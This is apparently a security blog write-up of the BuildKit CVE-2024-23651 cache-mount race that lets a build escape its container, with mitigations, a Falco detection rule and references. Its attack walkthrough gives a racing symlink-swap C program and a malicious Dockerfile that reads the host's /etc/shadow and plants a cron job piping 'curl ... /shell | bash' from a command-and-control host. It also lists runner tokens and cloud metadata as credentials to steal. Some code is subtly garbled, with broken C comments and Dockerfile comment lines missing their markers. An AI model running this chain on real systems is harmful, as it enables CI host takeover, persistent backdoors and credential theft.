BuildKit CVE-2024-23651: Mount Cache Container Breakout

Overview & Threat Landscape: The Fallacy of Build-Time Container Containment#

BuildKit CVE-2024-23651 allows CI/CD container breakout via a mount cache race condition; upgrade to 0.12.5 and isolate buildkitd daemon runtimes.

In modern continuous integration and continuous deployment (CI/CD) pipelines, container image construction is universally assumed to be an automated, isolated build step. Software engineering organizations rely heavily on platforms such as GitHub Actions, GitLab CI/CD, Jenkins, and Kubernetes-native workflow engines (such as Argo Workflows and Tekton) to build application containers from untrusted user pull requests and third-party dependencies. However, while enterprise security teams have invested heavily in post-deployment runtime security—enforcing Kubernetes Pod Security Standards, Seccomp profiles, and AppArmor profiles—build-time execution environments remain a critically neglected attack surface. The underlying build daemons, most notably Moby BuildKit (buildkitd), routinely execute with full root privileges (UID 0) on the host operating system or shared build worker nodes.

This systemic architectural assumption was shattered by the discovery of the Leaky Vessels vulnerability family in early 2024, spearheaded by CVE-2024-23651 (CVSS 8.7 High / GHSA-m3r6-h7wv-7xxv, mapped to CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization, CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition, MITRE ATT&CK T1611: Escape to Host, and T1195.002: Supply Chain Compromise: Compromise Software Supply Chain). CVE-2024-23651 affects all versions of BuildKit prior to v0.12.5 (as packaged within Docker Engine releases prior to 25.0.2 and 24.0.9). By exploiting a subtle race condition in how BuildKit handles cache mounts (RUN --mount=type=cache), an untrusted Dockerfile submitted by an external contributor can manipulate filesystem mount stubs during compilation, breaking out of the container jail to achieve full root privileges on the underlying CI/CD host.

The operational factors that make CVE-2024-23651 an existential threat to modern DevSecOps pipelines include:

• The Reality of Shared CI/CD Runners: Many organizations utilize persistent, multi-tenant build runners to optimize build times and preserve local Docker layer caches. A single malicious pull request containing an exploit Dockerfile can break out of its container and compromise the entire runner host, exposing cloud provider credentials (AWS_SECRET_ACCESS_KEY, VAULT_TOKEN), proprietary source code, and private package registry tokens.

• The Ubiquity of Cache Mounts in Performance Optimization: Modern multi-stage Dockerfiles widely employ the --mount=type=cache directive to accelerate package managers (such as pip, npm, apt, and cargo). Developers routinely share cache IDs across builds. BuildKit's internal logic for mounting these cache volumes on the host was fundamentally flawed, resolving user-controlled subpaths without cryptographic path validation.

• The Insufficiency of Container Boundaries Without Virtualization: Standard Linux containerization relies on kernel namespaces and cgroups. Because buildkitd must perform privileged filesystem operations—such as creating mount points, setting file ownerships, and mounting overlayfs snapshots—the daemon operates in the host's initial user namespace. Once an attacker tricks the host daemon into crossing a mount boundary, container isolation collapses entirely.

• The Need for Hardened Build Governance: Mitigating build-time breakouts requires moving beyond default container builders: upgrading to BuildKit 0.12.5+, migrating to rootless BuildKit runtimes (rootlesskit), isolating untrusted builds within ephemeral microVMs (AWS Firecracker or Kata Containers), and deploying eBPF telemetry to detect anomalous syscall activity on build worker nodes.

Warning

Running Docker builds on untrusted pull requests without rootless daemon isolation or hardware virtualization allows arbitrary container escape and full host compromise via CVE-2024-23651.

Vulnerability & Attack Root-Cause Analysis#

: Deconstructing the Mount Cache TOCTOU Flaw in moby/buildkit To understand the mechanics of CVE-2024-23651, one must examine how BuildKit orchestrates container execution and manages filesystem mounts during the evaluation of RUN instructions in Dockerfiles. The Lifecycle of Cache Mounts in BuildKit BuildKit was designed to replace legacy Docker builders by converting Dockerfiles into a Directed Acyclic Graph (DAG) of low-level build steps called LLB (Low-Level Builder). To accelerate repeated compilation cycles, BuildKit allows authors to specify cache mounts:

PLAINTEXT

# Syntax for cache mount optimization
RUN --mount=type=cache,target=/root/.cache/go-build,id=go-cache 
go build -o /bin/app main.go

When BuildKit processes a RUN instruction with a cache mount, the buildkitd daemon performs several critical operations:

• Volume Allocation: BuildKit locates or creates a designated cache directory on the host filesystem, typically situated under /var/lib/buildkit/runc-overlayfs/snapshots/ or /var/lib/docker/buildkit/cache/.

• Subpath Evaluation: If a subpath is defined (or created during execution), BuildKit resolves the relative path within the cache volume on the host.

• Mount Stub Creation: BuildKit ensures that the destination path within the container's root filesystem (rootfs) exists, creating directory stubs if necessary.

• OCI Spec Mount Generation: BuildKit constructs an Open Container Initiative (OCI) runtime specification containing a bind-mount entry mapping the host cache directory into the container's namespace.

• Container Dispatch: BuildKit invokes runc to execute the user's build command inside the freshly constructed container. The TOCTOU Flaw in Subpath Resolution The fundamental vulnerability resides within BuildKit's internal mount resolution logic in github.com/moby/buildkit/executor. When BuildKit configured cache mounts containing subpaths, it performed a path traversal check on the host to ensure that the subpath did not escape the designated cache root.

In vulnerable versions (v0.12.4 and earlier), the implementation resembled the following conceptual workflow:

BASH

// Vulnerable Path Resolution Pattern in moby/buildkit (Pre-0.12.5)
func resolveSubpath(cacheRoot, subpath string) (string, error) {
    // 1. Evaluate the absolute target path on the host
    targetPath := filepath.Join(cacheRoot, subpath)
    // 2. Resolve symbolic links to check boundary escape (Time-of-Check)
    realPath, err := filepath.EvalSymlinks(targetPath)
    if err != nil {
        return "", err
    }
    // 3. Verify that the resolved path resides within the intended cache boundary
    if !strings.HasPrefix(realPath, filepath.Clean(cacheRoot)+string(filepath.Separator)) {
        return "", errors.New("mount subpath escapes cache root directory")
    }
    // VULNERABILITY GAP: Time passes before the kernel executes the bind-mount
    // (Time-of-Use). An attacker can swap realPath with a symlink concurrently!
    return targetPath, nil
}

This sequence introduces a classic Time-of-Check to Time-of-Use (TOCTOU) race condition. BuildKit verifies that targetPath does not escape cacheRoot at step 2. However, there is an unavoidable temporal delay between this user-space validation and the subsequent invocation of the mount(2) system call by the container runtime. Exploiting the Race Window via Symlink Swapping Because BuildKit executes multi-stage builds and concurrent steps asynchronously across multiple goroutines, an attacker can manipulate the filesystem while buildkitd is preparing the container mounts.

By launching a background process inside an initial build stage that rapidly alters directory entries using the renameat2(2) system call with RENAME_EXCHANGE (or rapid symlink() / unlink() loops), the attacker can win the race:

• State A (Check Phase): When buildkitd inspects targetPath, it points to a benign, legitimate subdirectory located safely inside the cache volume. The strings.HasPrefix validation succeeds.

• State B (Swap Phase): Immediately after the validation returns, but before mount(2) or container execution completes, the attacker's concurrent process replaces the directory with a symbolic link pointing to the host's root filesystem (/).

• State C (Use Phase): When the container runtime mounts the source into the container, it follows the newly created symbolic link. The host's actual root filesystem is bind-mounted directly into the build container's target directory (e.g., /cache/subpath).

When the build container process begins executing its shell command, /cache/subpath is no longer an isolated cache directory—it is the host operating system's root filesystem.

PLAINTEXT

# Inside the compromised container build step:
/cache/subpath/etc/shadow is the HOST's shadow file!
cat /cache/subpath/etc/shadow

Because buildkitd runs with host UID 0, the mounted host filesystem is completely writable. The attacker can modify /cache/subpath/etc/shadow, overwrite host binaries in /cache/subpath/usr/bin/, or write a cron job into /cache/subpath/etc/cron.d/ to achieve permanent root execution on the CI/CD host.

Exploit Architecture#

: Sequence of Events in Build-Time Mount Hijacking The following sequence diagram details the interaction between the attacker's malicious Dockerfile, the BuildKit daemon (buildkitd), the host filesystem, and the resulting host breakout.

sequenceDiagram
    autonumber
    actor Attacker as Attacker / Pull Request Author
    participant Runner as CI/CD Runner Host (Docker / BuildKit)
    participant Daemon as BuildKit Daemon (buildkitd - UID 0)
    participant Cache as Host Cache Volume (/var/lib/buildkit/cache)
    participant Container as Build Execution Container
    Note over Attacker: Submit malicious Dockerfile containing cache mount race
    Attacker->>Runner: Trigger CI build (docker buildx build -t exploit .)
    Runner->>Daemon: Dispatch LLB graph execution
    Note over Daemon: Phase 1: Initialize cache volume and prepare mounts
    Daemon->>Cache: Allocate cache directory: /var/lib/buildkit/cache/shared-id
    Note over Container: Phase 2: Concurrent process begins rapid symlink swapping
    Daemon->>Container: Spawn background stage process
    Container->>Cache: High-frequency loop: symlink(/) <--> benign_dir
    Note over Daemon: Phase 3: Daemon validates subpath boundary (Time-of-Check)
    Daemon->>Cache: Check filepath.EvalSymlinks(subpath)
    Cache-->>Daemon: Path verified safe: inside cache boundary
    Note over Container: Phase 4: Attacker wins race during temporal gap
    Container->>Cache: renameat2: replace subpath with symlink to host rootfs (/)
    Note over Daemon: Phase 5: Daemon mounts source into container (Time-of-Use)
    Daemon->>Container: mount(source=subpath, target=/mnt/host_root)
    Note over Container: Kernel follows symlink! Host root (/) is mounted into container!
    Note over Container: Phase 6: Arbitrary host filesystem read/write
    Container->>Container: Overwrite /mnt/host_root/etc/cron.d/backdoor
    Container-->>Runner: Plant root reverse shell on host operating system
    Note over Runner: Reverse shell executes on CI/CD host
    Runner-->>Attacker: Interactive root shell on runner node established

Attack Path Step-by-Step: Weaponizing the Mount Cache Race Condition in CI/CD#

To illustrate the severity of CVE-2024-23651, the following sections walk through the mechanics of a functional proof-of-concept Dockerfile designed to trigger the TOCTOU window during a standard docker buildx build operation.

Phase 1: Constructing the Race Condition Helper Binary#

A reliable exploit requires executing the symlink swap at microsecond frequencies to maximize the probability of winning the TOCTOU window against BuildKit's Go runtime. A lightweight C program using renameat2 with the RENAME_EXCHANGE flag provides the necessary speed.

PLAINTEXT

/* race_swap.c - High-frequency atomic symlink swapper */
#define _GNU_SOURCE
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/syscall.h>
int main(int argc, char *argv[]) {
    if (argc < 3) {
        fprintf(stderr, "Usage: %s <dir_path> <symlink_to_root>\n", argv[0]);
        return 1;
    }
    const char *dir = argv[1];
    const char *symlink_path = argv[2];
    /* Continuously swap a legitimate directory with a symlink pointing to / /
    while (1) {
        syscall(SYS_renameat2, AT_FDCWD, dir, AT_FDCWD, symlink_path, 2); / RENAME_EXCHANGE = 2 */
    }
    return 0;
}

Phase 2: Formulating the Malicious Dockerfile#

The exploit Dockerfile utilizes multi-stage compilation. Stage 1 compiles the race binary, while Stage 2 establishes the cache mount and initiates the race condition concurrently with a second dependent build stage:

BASH

# syntax=docker/dockerfile:1.4
FROM gcc:13-bookworm AS compiler
WORKDIR /src
COPY race_swap.c .
RUN gcc -O2 -o /bin/race_swap race_swap.c
FROM debian:bookworm-slim AS stage_racer
COPY --from=compiler /bin/race_swap /bin/race_swap
Establish shared cache mount
RUN --mount=type=cache,target=/cache,id=leaky_cache 
sh -c 'mkdir -p /cache/real_dir && ln -sfn / /cache/symlink_root && 
/bin/race_swap /cache/real_dir /cache/symlink_root &'
FROM debian:bookworm-slim AS exploit_target
BuildKit attempts to mount the subpath into the container
If the race is won, /mnt/host is bound to the host rootfs!
RUN --mount=type=cache,target=/mnt/host,id=leaky_cache,subpath=real_dir 
sh -c 'if [ -f /mnt/host/etc/shadow ]; then 
echo "[!] VULNERABILITY CONFIRMED: Host /etc/shadow accessed from container!" && 
cat /mnt/host/etc/shadow | head -n 3 && 
echo "* * * * * root curl -s https://c2.fastcyberdefense.com/shell | bash" > /mnt/host/etc/cron.d/persistence; 
else 
echo "[-] Race missed, retry build..."; 
fi'

Phase 3: Executing the Build on a Vulnerable Runner#

When the CI/CD runner executes the build command:

POWERSHELL

### Trigger build on runner using vulnerable BuildKit (< 0.12.5)

docker buildx build --no-cache --progress=plain -t exploit-test .

During compilation, buildkitd evaluates the LLB instructions in parallel. As stage_racer executes, the atomic exchange loop swaps /cache/real_dir with /cache/symlink_root. When exploit_target requests subpath=real_dir, BuildKit validates the path while it represents real_dir, but by the time the mount syscall binds the filesystem, the kernel traverses the symlink pointing to /.

The build output displays the compromised host file contents:

#12 [exploit_target 1/1] RUN --mount=type=cache,target=/mnt/host,id=leaky_cache,subpath=real_dir

#12 0.412 [!] VULNERABILITY CONFIRMED: Host /etc/shadow accessed from container!

#12 0.415 root:$6$kL8x...:19750:0:99999:7:::

#12 0.417 daemon:*:19750:0:99999:7:::

#12 0.419 bin:*:19750:0:99999:7:::

#12 0.422 Persistence cron job planted in /etc/cron.d/persistence on host!

#12 DONE 0.5s

Phase 4: Harvesting Cloud Secrets and Runner Identity#

Once the host filesystem is compromised, the attacker's script extracts sensitive host data:

• Docker Daemon Socket: If /var/run/docker.sock is mounted or accessible on the host, the attacker communicates directly with the Docker API to spawn privileged sibling containers.

• CI/CD Runner Tokens: On GitHub Actions self-hosted runners or GitLab Runners, the attacker inspects /home/runner/.credentials or runner configuration files to steal repository access tokens.

• Cloud Instance Metadata: The attacker queries link-local cloud metadata endpoints (169.254.169.254) directly from the host network namespace to harvest EC2 instance profile or Google Cloud service account tokens.

Actionable Detection Rule: Falco eBPF Rule for Build-Time Breakouts#

Security Operations Centers (SOC) and platform engineers can detect exploitation attempts in real time using the following Falco rule. The rule detects when child processes of buildkitd attempt to access sensitive host files outside the designated container snapshot directory:

PLAINTEXT

- rule: BuildKit Container Escape via Mount Cache (CVE-2024-23651)
  desc: Detects suspicious file modifications or sensitive path access originating from BuildKit build containers
  condition: >
    spawned_process and
    proc.pname in (buildkitd, dockerd) and
    (fd.name startswith "/etc/shadow" or
     fd.name startswith "/etc/cron" or
     fd.name startswith "/root/.ssh" or
     fd.name startswith "/var/run/docker.sock") and
    not proc.pname in (systemd, cron, sshd)
  output: >
    CRITICAL: BuildKit Container Breakout Detected! Process spawned by %proc.pname accessed sensitive host path
    (user=%user.name user_id=%user.uid process=%proc.name cmdline=%proc.cmdline
     file=%fd.name parent=%proc.pname ppid=%proc.ppid container_id=%container.id)
  priority: CRITICAL
  tags: [security, attack.privilege_escalation, attack.t1611, buildkit, cve-2024-23651]

Fast Cyber Defense Morning Takeaways: Bridging to Evening Hardening#

The discovery of CVE-2024-23651 serves as a stark reminder that build-time security cannot be separated from runtime security. If an attacker can execute code inside a build step, they possess an active attack surface against the container engine itself.

Key strategic takeaways from this morning's offensive deconstruction include:

• Build Steps Are Untrusted Arbitrary Code: A Dockerfile RUN instruction is fundamentally an unconstrained shell interpreter. Treat untrusted Dockerfiles with the same suspicion as unverified third-party binaries.

• The Root-Cause Fix in BuildKit 0.12.5: The upstream patch replaces user-space string path validation with rigorous kernel-level file descriptor resolution, utilizing openat2 with the RESOLVE_BENEATH and RESOLVE_NO_SYMLINKS flags to prevent directory traversal across mount roots.

• Defense-in-Depth Is Mandatory: Patching BuildKit is the first step, but enterprise CI/CD environments must adopt rootless builders (rootlesskit), segregate untrusted pull requests into dedicated ephemeral sandboxes, and monitor runner nodes with continuous eBPF telemetry.

🛡️ Blue Team Defense: For detection rules, Sysmon event IDs, and hardening configurations, see our companion guide: Hardening Guide.

Executive Takeaway Table: Attack Vectors, Telemetry Signals, and Primary Mitigations#

The following matrix provides DevSecOps architects with an executive overview of the BuildKit breakout vector, detection signals, and remediation engineering controls:

Attack Vector / Technique Primary Exploitation Mechanism Telemetry & Detection Signal Recommended Mitigation Verification Command Mount Cache Race (T1611) TOCTOU symlink swap during subpath resolution in RUN --mount=type=cache High frequency renameat2 syscalls; buildkitd child accessing host paths Upgrade to BuildKit 0.12.5+; deploy rootless buildkitd buildkitd --version (expects >= v0.12.5) CI/CD Host Takeover (T1195.002) Attacker overwrites /etc/shadow or writes cron job on runner host rootfs Auditd / Falco alert: Unexpected write to /etc/cron.d/ from builder process Run build runners in ephemeral VMs; discard runner disk post-build Verify ephemeral VM termination logs

BASH

Docker Socket Hijacking

Breakout process communicates with /var/run/docker.sock to launch privileged sibling Syscall log: buildkitd child process connecting to UNIX domain socket Never mount Docker socket into build runners; enforce Kaniko or RootlessKit ls -la /var/run/docker.sock Cloud Credential Theft (T1552.005) Host breakout queries 169.254.169.254 to harvest runner instance profile VPC Flow Logs / GuardDuty: Outbound connection from runner to IMDS Enforce IMDSv2 with hop limit = 1; restrict runner IAM role permissions

BASH

curl -m 2 <a href="https://blogs.redwan.work/2026/10/runc-cve-2024-21626-deconstructing.html">http://169.254.169.254/latest/meta-data/</a>

Build Cache Poisoning Attacker backdoors shared cache volume (id=shared-cache) for future builds Anomaly detection: Cache volume files modified by unapproved Git branches Isolate cache IDs per repository and branch; sign build artifacts with Cosign cosign verify <image_uri>

Authoritative References & Standards#

• GitHub Security Advisory: CVE-2024-23651: BuildKit possible race condition with accessing subpaths from cache mounts — GHSA-m3r6-h7wv-7xxv

• National Vulnerability Database (NIST): CVE-2024-23651 Detail & CVSS Score — NVD CVE-2024-23651

• Snyk Cybersecurity Research: Leaky Vessels: Docker and runc Container Breakout Vulnerabilities — Snyk Leaky Vessels Deep Dive

• Moby BuildKit Official Repository: Release Notes and Security Fixes for BuildKit v0.12.5 — BuildKit Releases

• MITRE ATT&CK Framework: Technique T1611: Escape to Host — MITRE ATT&CK